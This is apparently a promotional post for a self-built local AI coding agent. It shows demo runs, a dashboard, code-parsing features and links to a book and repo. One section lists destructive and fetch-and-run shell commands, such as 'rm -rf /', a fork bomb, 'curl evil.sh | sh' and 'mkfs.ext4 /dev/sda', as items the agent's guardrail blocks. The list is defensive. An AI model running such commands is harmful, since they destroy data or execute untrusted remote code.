

I built a

Local AI Coding Agent

— running on my own laptop —

**No cloud. No API keys.
No per-token cost.**

8 things it can do →

1 BUILD

From one sentence to a working, verified file — plan, edit, test, done.



```
$ ai-agent run "Create palindrome.py with is_palindrome(s)..."
```

```
AI Coding Agent      run 4d1e83e1 · model qwen2.5:7b
```

```
Planning...
```

1. Create palindrome.py with is_palindrome(s)
2. Strip case + punctuation; compare to its reverse
3. Verify it works, then finish

```
→ write_file      Wrote 215 bytes to palindrome.py  
→ run_command     True  
→ finish          Created palindrome.py; verified.
```

```
Evaluation  ✓  sources compile cleanly
```

```
Session ended in state: done
```

```
Run summary
```

```
9 model calls · 20,512 tokens · 18.7s · qwen2.5:7b
```

```
Cloud cost:  $0.00
```

2 SELF-CORRECT

Tests fail? It diagnoses the mistake and fixes itself — no human in the loop.



```
$ ai-agent run "test_zero fails: divide(5,0) should return None..."
```

```
AI Coding Agent      run b89c99f6 · model qwen2.5:7b
```

```
Planning...
```

1. Read calc.py, locate divide()
2. Return None when b == 0
3. Run the tests to verify

```
→ read_file          def divide(a, b): return a / b
```

```
→ search_replace     applied edit to calc.py:
```

```
    def divide(a, b):  
+       if b == 0:  
+           return None  
    return a / b
```

```
→ run_command        python -m pytest -q    → 2 passed
```

```
→ finish              divide() returns None when b == 0; tests pass.
```

```
Evaluation    ✓ Tests passed (python -m pytest -q)
```

```
Session ended in state: done
```

```
Run summary   5 model calls · 10,232 tokens · 8.7s · $0.00
```

3 STAY SAFE

It refuses `rm -rf`, `sudo`, fork bombs, `curl|sh` — even obfuscated ones.



```
$ python - SecurityPolicy / CommandGuard.check(cmd)
```

Command guardrails: what the agent will NOT run

<code>rm -rf /</code>	✗ BLOCKED
<code>sudo rm -rf /home</code>	✗ BLOCKED
<code>curl http://evil.sh sh</code>	✗ BLOCKED
<code>:(){ : :& };;: fork bomb</code>	✗ BLOCKED
<code>s"u"do rm -rf / obfuscated</code>	✗ BLOCKED
<code>mkfs.ext4 /dev/sda</code>	✗ BLOCKED
<code>ls -la</code>	✓ allowed
<code>python -m pytest -q</code>	✓ allowed
<code>git status</code>	✓ allowed

4 WATCH IT LIVE

A streaming web dashboard shows the agent think and act in real time.

The screenshot displays a web browser window with the title "AI Coding Agent Dashboard". The address bar shows the URL "127.0.0.1:8767/?token=a34191a6d5544ff3b8942d0b27e49805". The dashboard is divided into two main sections. On the left, under "AI Coding Agent", the workspace is "/home/natarajan/promo-demos/d1" and the model is "qwen2.5:7b". The state is "EXECUTING". Below this, a "New task" section shows a task description: "Create palindrome.py with is_palindrome(s) ignoring case and punctuation". A "Running..." button is visible. On the right, the "Active Task Execution" section shows a task description: "Task: Create palindrome.py with is_palindrome(s) ignoring case and punctuation". Below this, a "Plan" section lists five steps: 1. Create the 'is_palindrome' function in 'palindrome.py' to ignore case and punctuation. 2. Define the function to convert the string to lowercase and remove punctuation. 3. Check if the processed string is equal to its reverse. 4. Test the function with various examples to ensure correctness. 5. Verify the implementation with provided test cases. Below the plan, a code block shows the implementation of the 'is_palindrome' function. Finally, a "Model Token Stream Output" section shows the same five steps as the plan.

AI Coding Agent Dashboard

Workspace: /home/natarajan/promo-demos/d1
Model: qwen2.5:7b
State: **EXECUTING**

New task

Create palindrome.py with is_palindrome(s) ignoring case and punctuation

Running...

Type a task and press Run — the agent plans, edits, tests, and reports back live.

Active Task Execution

Task: Create palindrome.py with is_palindrome(s) ignoring case and punctuation

Plan:

1. Create the 'is_palindrome' function in 'palindrome.py' to ignore case and punctuation.
2. Define the function to convert the string to lowercase and remove punctuation.
3. Check if the processed string is equal to its reverse.
4. Test the function with various examples to ensure correctness.
5. Verify the implementation with provided test cases.

```
→ write_file {"path": "palindrome.py", "content": "def is_palindrome(s):\n import string\n s = s.lower().translate(str.maketrans('', '', string.punctuation))\n return s == s[::-1]}"
```

ok · Wrote 134 bytes to palindrome.py

Model Token Stream Output:

1. Create the 'is_palindrome' function in 'palindrome.py' to ignore case and punctuation.
2. Define the function to convert the string to lowercase and remove punctuation.
3. Check if the processed string is equal to its reverse.
4. Test the function with various examples to ensure correctness.
5. Verify the implementation with provided test cases.

5 READ ANY CODE

Tree-sitter parsing across 11+ languages —
Python, JS, Go, Rust, Java...



```
$ python - WorkspaceIndexer outline (tree-sitter)
```

One agent, many languages:

```
widget.js    (JavaScript)
```

```
  class Widget { ... }
```

```
    render()
```

```
  function makeWidget(x)
```

```
server.go    (Go)
```

```
  type Server struct { ... }
```

```
  func (s *Server) Start() error
```

```
lib.rs       (Rust)
```

```
  struct Point { ... }
```

```
  fn distance(a: Point, b: Point) -> f64
```

6 NAVIGATE

Compiler-grade go-to-definition via a Language Server — like your IDE.



```
$ python - LSPManager.get_definition (pylsp)
```

```
mod.py:
```

```
    def helper(x):  
        return x * 2
```

```
    result = helper(5)           ← cursor here
```

```
→ go-to-definition of `helper`:
```

```
    ✓ defined at mod.py line 1, col 5
```


7 UNDERSTAND

A whole-repo symbol graph: where things live and what a change breaks.



```
$ python - SymbolIndex over the whole repository
```

```
find_definition('Orchestrator'):  
  agent/orchestrator.py:44      class Orchestrator
```

```
impact analysis - who imports 'errors'?  
  agent/cli/main.py:13          imports errors  
  agent/model/client.py:10      imports errors.ModelError  
  agent/orchestrator.py:16      imports errors.TransientError  
  agent/sandbox/manager.py:22  imports errors.SandboxError  
  agent/tools/patcher.py:7      imports errors  
  ... 11 files in total
```


8 ZERO COST

Runs on a 7B local model. No cloud, no API keys, no per-token bill.



```
$ ai-agent run "Create greet.py with hello() returning 'hi'"
```

```
→ write_file    Wrote 29 bytes to greet.py
→ finish        Created greet.py with hello().
```

```
Evaluation    ✓  sources compile cleanly
Session ended in state: done
```

Run summary

Model	qwen2.5:7b	(local, offline)
Model calls	3	
Total tokens	5,326	
Model time	6.2s	
Throughput	14.8 tok/s	
Cloud cost	\$0.00	

Want to build one?

This entire agent is a book —
and a free, open-source repo.

📖 **Get the book (Kindle)**

amazon.com/dp/B0H8B6QXXX · amazon.in/dp/B0H8B6QXXX

📄 **Clone the code (MIT)**

github.com/Natarajan-R/local-ai-coding-agent

Follow for the build, one file at a time.

Natarajan Ramasamy